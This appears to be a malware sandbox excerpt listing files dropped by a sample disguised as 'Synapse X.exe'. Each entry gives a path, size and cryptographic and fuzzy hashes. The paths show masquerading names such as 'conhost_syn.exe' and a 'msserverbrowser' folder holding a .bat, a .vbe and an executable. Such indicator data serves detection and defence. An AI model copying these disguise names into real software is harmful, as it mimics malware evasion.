- SHA1 069bf9e08d5c26583a3b10b3a802c467ff681f3c
- SHA512 e55e233cd69081915823425a56ffe981d38d4632539d22072f6972af62c2cce9eb7b1677c922478ca1956188096aba43c5518995a36353ac3201ecf2f8de8cb9
- SSDEEP 24576:U2G/nvxW3Ww0tktKCKNNW3pO3Wln+/GipvQQA84HaK1bgvfOaZDSi:UbA302KCRlwpvQdaKBg3Oa1J
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
- Size 2.6MB
- SHA256 5b5fd38127fb0380cb82f8047ec05391596d9fe0b18db8b7c6abdf7ea8431f67
- MD5 c5f5d91471955bbc60e446ab89733afb
- SHA1 64b4c462eb218a6241e4f03def37b9e339789bf1
- SHA512 c97f7b17affbdb9a60039028bad7afddceec64cdea2e5b9f4e519b64ec2802b0756b9c9fafb26bb5f1f22b1e586fb52a63318b781f404478c67ebe4b2a2791dd
- SSDEEP 49152:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiFCed4BoK6hnFo+LIyDwCU:WnsnyQDHAe7VlJN6GBFKB8Fvns
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
- Size 1.8MB
- SHA256 d01c8ecec6bb494633bf8ec587a8c18fc49a47396a2614cbdc2df8e7019b34a8
- MD5 e8f14b501a90e32f4078ed706476e582
- SHA1 cabe35a1a806024ff6670f68b0b02f51bbf2ee9f
- SHA512 4af47dc38b0ea8e9d790d9be3046451520482543d67d858d3742fbb8e3da945589c384596b3eb411559b04dc545a630a61758874723a706bbc24b554b8c536a7
- SSDEEP 49152:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiFCA:WnsnyQDHAe7VlJN6GBFH
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
- Size 1.7MB
- SHA256 488394674ae9613410f3c25d42c2986698e6f73cb10950bf23e3829f6baa6f87
- MD5 17b51b7a82759b156dd1002ef834994d
- SHA1 0ac6546a5c8a30cc56b826849a8a50ed5e92dcc0
- SHA512 ed898a021c3bdbdcf8c48190de4ab4b57ee2bb76d4020efcd9464b492d4fbf586f408d49364d0aebe5073382477ea4a27471f9dd5d59d456f64f5acbb445750c
- SSDEEP 24576:ZUn1anAvNfQ6g7qtDn0aeCCPFyWjDB2RaHpq0Bc+a6U20ClJXdhL5xFOxxwIxyij:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43hnfm25.wr0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\conhost_syn.exe
- Size 337KB
- SHA256 c7351dad1e16cc32aeb23acfeb78a9fbd48c66f0d42608a2949c31400997ccc8
- MD5 eec35af0699745d36b4eae0425d2f15b
- SHA1 754df1f5e047676fc574ef9f097d1e46aa2d1542
- SHA512 c035f96c6a6ba515e29b0b8dc76fba82a1c94af3def6cb73d509586efa05b7c49b64f5f807d86d4703bd592c430de53c6ad13fe3baf4ab4951dfb8b8de497633
- SSDEEP 6144:afEUny6b3xt9vnfCSNfLLyLaet13sfPVHK7DMLjqj+iKbk7FR1325zpG:cEUrbBtVnf98LTsUjYo7b05tG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\conhost_syn.exe
- Size 92KB
- SHA256 0f56d2c82eb9f937ad750777f0d524981d69973c75fb2b571cbb703218e4f44d
- MD5 0d5584862839cc203360689c0175c465
- SHA1 511c61a7cf8130fdeda82d2162701043fdeb8701
- SHA512 4186053e1b3baf45b8d68d1550659bd5cdec6506e4f0c4fb76f1c737c9b031d063d03215132c6986a3b847d17f655086d3abca3d92e15fef7176e0f45b3bc453
- SSDEEP 1536:W3fEfQJRYgIDTPm3chm8UQCj9/ZLbhJB/fObp+hD9lF7b5:W3fE4JRYg/Mk8hW9xB3YIt9lFn5
- MD5 SHA1 SHA512 SSDEEP
- Path C:\msserverbrowser\76ROYidD3raXzrN.bat
- Size 38B
- SHA256 75b1f41bb75916a61ed6c3317af63512e828f8619be09d6aa980cdc5aa160cd1
- MD5 6dbd7d27eb5be9f82bdb13b4188718d1
- SHA1 2d70406a4f2ebcf8a8ce1d20648b7baed01ed1b1
- SHA512 c6d3d04f804b806ee92ddd0d89a300048b9b57cae3e46ae33ab229dc89673b6211804ddc315f1687f25b51d0f9ea6fd37d1df4ae73cfab8849221ceebd8f751a
- MD5 SHA1 SHA512
- Path C:\msserverbrowser\HnyaohP9M4fFcL.vbe
- Size 207B
- SHA256 d4ed08bb2aa5494acb6d34f7162afdd0417a4a9078ec80bde1d6fcca7f3102df
- MD5 3364831004e127ef7f63de277b5d3bff
- SHA1 98b64a0fa82dcddd28ccbfc0e877f2d986bdb56c
- SHA512 aa473c6381018d86f1e8d29b391efcd0dbede525e257b2e28ce888ddf9936ebf4aa6ce5cf2d170e5451b37590eacbf60faaf7da330f4d96cc41ea9dd4fdf6b61
- MD5 SHA1 SHA512
- Path C:\msserverbrowser\browserCommon.exe
- Size 1.3MB
- SHA256 2e9dafd33d39b69cbecff9c2b41ee508ca3feabb6e0cae5e910091110eefa94d
- MD5 6c0b0dd7397ab97d808e7f90032b785b
- SHA1 44ae04c02dba26dddd0d783655c34a036a7c9c28
- SHA512 f7c744051f5640f2cd5b1bf43affac7ecea2edd252e6f916939b4574a98ba4586c93696b64c5937cd5c4d9c7856ff4233947cdb9d7a328f08b3c152db1f24c58
- SSDEEP 24576:LtKCKNNW3pO3Wln+/GipvQQA84HaK1bgvfOaZDS:5KCRlwpvQdaKBg3Oa1
- MD5 SHA1 SHA512 SSDEEP